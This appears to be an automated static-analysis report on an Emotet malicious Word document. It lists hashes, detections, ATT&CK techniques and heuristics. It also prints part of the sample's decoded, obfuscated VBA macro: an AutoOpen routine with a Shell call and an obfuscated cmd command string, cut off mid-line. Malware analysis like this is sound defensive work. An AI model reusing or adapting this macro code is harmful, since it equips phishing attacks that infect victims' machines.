Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 07f55d0c64a9cce9…

MALICIOUS

Office (OLE)

83.0 KB Created: 2018-09-20 22:07:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: cb71fd017537777ac598f4db303dbd21 SHA-1: 095d35f9944a057a9be3482f17a1334c57309b95 SHA-256: 07f55d0c64a9cce95ab39e374e61ed1678df6e33d6f2ea1bc729459fee43e40e
142 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6884095-0', indicating it is likely part of the Emotet family. The presence of a VBA macro, specifically an AutoOpen macro, strongly suggests it's designed to execute malicious code upon opening. While the VBA code is heavily obfuscated and truncated, its structure and the heuristic firings confirm its role as a downloader, likely fetching and executing a secondary payload.

Heuristics 5

  • ClamAV: Doc.Downloader.Emotet-6884095-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6884095-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13414 bytes
SHA-256: e44edf84a599e89e706d8341724a5228fb3b5226578d5c15f384a9f252200e3a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "BTKdwZCE"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const ZrCmEA = 0
   Dim TYDiiE(3)
TYDiiE(0) = MidB(Pmlbl, 230, 883) + Left(bZGoFYi, 398)
TYDiiE(1) = MidB(Pmlbl, 230, 883) + MidB(Pmlbl, 230, 883) + Mid(PVPjOoqM, 329, 335) + Left(bZGoFYi, 398)
TYDiiE(2) = Left(bZGoFYi, 398) + MidB(Pmlbl, 230, 883) + MidB(Pmlbl, 230, 883) + Right(lurHJSV, 153)
   Dim LJEOi(4)
LJEOi(0) = MidB(Pmlbl, 230, 883) + Left(bZGoFYi, 398)
LJEOi(1) = Left(bZGoFYi, 398) + MidB(Pmlbl, 230, 883)
LJEOi(2) = MidB(Pmlbl, 230, 883) + MidB(Pmlbl, 230, 883) + Mid(PVPjOoqM, 329, 335) + Right(lurHJSV, 153)
LJEOi(3) = MidB(Pmlbl, 230, 883) + Mid(PVPjOoqM, 329, 335) + Mid(PVPjOoqM, 329, 335) + MidB(Pmlbl, 230, 883)
   Dim IvPcEj(4)
IvPcEj(0) = MidB(Pmlbl, 230, 883) + Right(lurHJSV, 153) + Mid(PVPjOoqM, 329, 335) + Right(lurHJSV, 153)
IvPcEj(1) = Left(bZGoFYi, 398) + Left(bZGoFYi, 398) + Right(lurHJSV, 153) + Left(bZGoFYi, 398)
IvPcEj(2) = Right(lurHJSV, 153) + Left(bZGoFYi, 398) + Left(bZGoFYi, 398) + MidB(Pmlbl, 230, 883)
IvPcEj(3) = Mid(PVPjOoqM, 329, 335) + Right(lurHJSV, 153)
   Dim XFotz(2)
XFotz(0) = MidB(Pmlbl, 230, 883) + Right(lurHJSV, 153) + Right(lurHJSV, 153) + Right(lurHJSV, 153)
XFotz(1) = MidB(Pmlbl, 230, 883) + MidB(Pmlbl, 230, 883)
   Dim AtqAEV(5)
AtqAEV(0) = Right(lurHJSV, 153) + Right(lurHJSV, 153) + Right(lurHJSV, 153) + Mid(PVPjOoqM, 329, 335)
AtqAEV(1) = Right(lurHJSV, 153) + Right(lurHJSV, 153) + MidB(Pmlbl, 230, 883) + Left(bZGoFYi, 398)
AtqAEV(2) = Mid(PVPjOoqM, 329, 335) + Left(bZGoFYi, 398) + Right(lurHJSV, 153) + Mid(PVPjOoqM, 329, 335)
AtqAEV(3) = Left(bZGoFYi, 398) + Mid(PVPjOoqM, 329, 335)
AtqAEV(4) = MidB(Pmlbl, 230, 883) + Left(bZGoFYi, 398) + Left(bZGoFYi, 398) + Left(bZGoFYi, 398)
Shell@ qFjRwXn + hSLacifTib + YQzqREqYkrV, ZrCmEA
   Dim Vmpfc(2)
Vmpfc(0) = Left(bZGoFYi, 398) + Right(lurHJSV, 153)
Vmpfc(1) = MidB(Pmlbl, 230, 883) + MidB(Pmlbl, 230, 883)
End Sub


Attribute VB_Name = "kVTlKQXpaUL"
Function qFjRwXn()
Dim vnPIIK(5)
vnPIIK(0) = Mid(PVPjOoqM, 329, 335) + Right(lurHJSV, 153)
vnPIIK(1) = Mid(PVPjOoqM, 329, 335) + Right(lurHJSV, 153) + Right(lurHJSV, 153) + Mid(PVPjOoqM, 329, 335)
vnPIIK(2) = Mid(PVPjOoqM, 329, 335) + Left(bZGoFYi, 398) + MidB(Pmlbl, 230, 883) + Left(bZGoFYi, 398)
vnPIIK(3) = Mid(PVPjOoqM, 329, 335) + Right(lurHJSV, 153)
vnPIIK(4) = Left(bZGoFYi, 398) + Right(lurHJSV, 153)
   Dim HHbSb(5)
HHbSb(0) = Right(lurHJSV, 153) + Left(bZGoFYi, 398)
HHbSb(1) = Mid(PVPjOoqM, 329, 335) + MidB(Pmlbl, 230, 883)
HHbSb(2) = MidB(Pmlbl, 230, 883) + Right(lurHJSV, 153)
HHbSb(3) = Right(lurHJSV, 153) + Right(lurHJSV, 153)
HHbSb(4) = Right(lurHJSV, 153) + Right(lurHJSV, 153)
   Dim ZvvzpG(3)
ZvvzpG(0) = Left(bZGoFYi, 398) + Left(bZGoFYi, 398)
ZvvzpG(1) = Right(lurHJSV, 153) + MidB(Pmlbl, 230, 883)
ZvvzpG(2) = MidB(Pmlbl, 230, 883) + MidB(Pmlbl, 230, 883) + Left(bZGoFYi, 398) + Mid(PVPjOoqM, 329, 335)
zQYuIrlkRO = CStr(Chr(CleanString(4 + 12 + 6 + 3 + 74))) + "md /V^:^O" + "N/" + CStr(Chr(CleanString(2 + 8 + 4 + 2 + 51))) + CStr(Chr(CleanString(1 + 4 + 2 + 1 + 26))) + "^s^e^t " + "w^0" + "^bH=^ ^   " + "^  ^ ^"
Dim KCfzK(5)
KCfzK(0) = Mid(PVPjOoqM, 329, 335) + Right(lurHJSV, 153) + MidB(Pmlbl, 230, 883) + Mid(PVPjOoqM, 329, 335)
KCfzK(1) = MidB(Pmlbl, 230, 883) + Right(lurHJSV, 153) + MidB(Pmlbl, 230, 883) + Mid(PVPjOoqM, 329, 335)
KCfzK(2) = Right(lurHJSV, 153) + MidB(Pmlbl, 230, 883)
KCfzK(3) = Mid(PVPjOoqM, 329, 335) + Left(bZGoFYi, 398)
KCfzK(4) = Mid(PVPjOoqM, 329, 335) + Mid(PVPjOoqM, 329, 335) + Mid(PVPjOoqM, 329, 335) + MidB(Pmlbl, 230, 883)
   Dim qObaq(4)
qObaq(0) = Mid(PVPjOoqM, 329, 335) + Mid(PVPjOoqM, 329, 335)
qObaq(1) = MidB(Pmlbl, 230, 883) + MidB(Pmlbl, 230, 883) + Mid(PVPjOoqM, 329, 335) + Left(bZGoFYi, 398)
qObaq(2) = Mid(PVPjOoqM, 329, 335) + MidB(Pmlbl, 230, 883)
qObaq(3) = MidB(Pmlbl, 230, 883) + Lef
... (truncated)

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